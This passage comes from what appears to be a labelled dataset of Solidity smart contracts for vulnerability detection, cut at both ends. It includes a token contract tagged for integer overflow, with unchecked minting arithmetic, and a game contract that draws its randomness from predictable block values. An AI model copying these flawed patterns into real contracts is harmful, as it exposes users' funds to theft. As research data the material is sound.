bittToken.addWallet(0x5b2A9b86113632d086CcD8c9dAf67294eda78105, 20); bittToken.addWallet(0x3019B9ad002Ddec2F49e14FB591c8CcD81800847, 10); bittToken.addWallet(0x18fd87AAB645fd4c0cEBc21fb0a271E1E2bA5363, 5); bittToken.addWallet(0x1eC03A084Cc02754776a9fEffC4b47dAE4800620, 3); bittToken.addWallet(0xb119f842E6A10Dc545Af3c53ff28250B5F45F9b2, 2); bittToken.init(); bittToken.transferOwnership(manager); bitzToken = new BITZToken(); bitzToken.addWallet(0xc0f1a3E91C2D0Bcc5CD398D05F851C2Fb1F3fE30, 60); bitzToken.addWallet(0x3019B9ad002Ddec2F49e14FB591c8CcD81800847, 20); bitzToken.addWallet(0x04eb6a716c814b0B4A12dC9964916D64C55179C1, 20); bitzToken.init(); bitzToken.transferOwnership(manager); } }",Safe,8,8 520.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract HeavenlyHoundCoin is SafeMath { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); bool lock = false; constructor( uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits ) public { owner = msg.sender; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function _transfer(address _from, address _to, uint _value) isLock internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { uint256 _amount = mintedAmount * 10 ** uint256(decimals); balanceOf[target] += _amount; totalSupply += _amount; emit Transfer(this, target, _amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transferBatch(address[] _to, uint256 _value) public returns (bool success) { for (uint i=0; i<_to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } }",./Dataset/integer overflow (OF)/,4,4 1302.sol,"pragma solidity ^0.4.24; contract J3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); event onNewJanWin ( uint256 indexed roundID, uint256 indexed buyerID, address playerAddress, bytes32 playerName, uint256 amount, uint256 timeStamp ); } contract modularLong is J3Devents {} interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } interface HourglassInterface { function() payable external; function buy(address _playerAddress) payable external returns(uint256); function sell(uint256 _amountOfTokens) external; function reinvest() external; function withdraw() external; function exit() external; function dividendsOf(address _playerAddress) external view returns(uint256); function balanceOf(address _playerAddress) external view returns(uint256); function transfer(address _toAddress, uint256 _amountOfTokens) external returns(bool); function stakingRequirement() external view returns(uint256); } contract JanKenPon is modularLong { using SafeMath for *; using NameFilter for string; using J3DKeysCalcLong for uint256; JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x7f546aC4261CA5dE2D5e12E16Ae0F1B5c479b0c2); PlayerBookInterface private PlayerBook = PlayerBookInterface(0x0183f4E77F21b232F60fAf6898D6a8FE899489CB); string constant public name = ""Jan Ken Pon""; string constant public symbol = ""JKP""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 30; uint256 constant private rndInit_ = 3 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public gasPriceLimit_ = 500000000000; uint256 public rID_; uint256 public janPot_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => J3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => J3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => J3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => J3Ddatasets.TeamFee) public fees_; mapping (uint256 => J3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = J3Ddatasets.TeamFee(50,25,15,5,5); fees_[1] = J3Ddatasets.TeamFee(50,25,15,5,5); fees_[2] = J3Ddatasets.TeamFee(50,25,15,5,5); fees_[3] = J3Ddatasets.TeamFee(50,25,15,5,5); potSplit_[0] = J3Ddatasets.PotSplit(30,50,10,10); potSplit_[1] = J3Ddatasets.PotSplit(30,50,10,10); potSplit_[2] = J3Ddatasets.PotSplit(30,50,10,10); potSplit_[3] = J3Ddatasets.PotSplit(30,50,10,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } modifier isGasLimit() { require(gasPriceLimit_ >= tx.gasprice, ""GasPrice too high""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _team = randomTeam(); buyCore(_pID, plyr_[_pID].laff,_team, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) isGasLimit() public payable { J3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) isGasLimit() public { J3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) isGasLimit() public { J3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) isGasLimit() public { J3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { J3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit J3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit J3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit J3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit J3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit J3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].eth, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, round_[_rID].team, round_[_rID].plyr, plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], janPot_ ); } function getCurrentPotInfo() public view returns(uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( _rID, round_[_rID].pot, round_[_rID].team, janPot_ ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, J3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit J3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, J3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit J3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, J3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 50000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2000000000000000000) { uint256 _availableLimit = (2000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if(janwin(round_[_rID].team,_team)) { uint _janprice; if (_eth >= 10000000000000000000) { _janprice = ((janPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_janprice); janPot_ = (janPot_).sub(_janprice); } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _janprice = ((janPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_janprice); janPot_ = (janPot_).sub(_janprice); } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _janprice = ((janPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_janprice); janPot_ = (janPot_).sub(_janprice); } if(_janprice > 0){ emit J3Devents.onNewJanWin( _rID, _pID, plyr_[_pID].addr, plyr_[_pID].name, _janprice, now ); } } if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(J3Ddatasets.EventReturns memory _eventData_) private returns (J3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private view returns (uint256) { if (_team < 0 || _team > 2){ uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); _team = (seed - ((seed / 3) * 3)); } return(_team); } function managePlayer(uint256 _pID, J3Ddatasets.EventReturns memory _eventData_) private returns (J3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(J3Ddatasets.EventReturns memory _eventData_) private returns (J3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(potSplit_[_winTID].win)) / 100; uint256 _com = (_pot.mul(potSplit_[_winTID].com)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if(janPot_ > 0){ _com = _com.add(janPot_); janPot_ = 0; } if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256(""deposit()"")))) { _res = _res.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function janwin(uint256 team1,uint256 team2) private pure returns(bool){ if(team2 == 0 && team1 == 1){ return true; } else if(team2 == 1 && team1 == 2 ){ return true; } else if(team2 == 2 && team1 == 0 ){ return true; } return false; } function randomTeam() public view returns(uint256){ uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); return (seed - ((seed / 3) * 3)); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, J3Ddatasets.EventReturns memory _eventData_) private returns(J3Ddatasets.EventReturns) { uint256 _com = _eth.mul(fees_[_team].com) / 100; if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256(""deposit()"")))) { round_[rID_].pot = round_[rID_].pot.add(_com); _com = 0; } uint256 _aff = _eth.mul(fees_[_team].aff) / 100; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit J3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { round_[rID_].pot = round_[rID_].pot.add(_aff); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit J3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, J3Ddatasets.EventReturns memory _eventData_) private returns(J3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _jan = (_eth.mul(fees_[_team].jan)) / 100; janPot_ = janPot_.add(_jan); _eth = _eth.sub((_eth.mul(fees_[_team].com + fees_[_team].aff + fees_[_team].jan)) / 100); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, 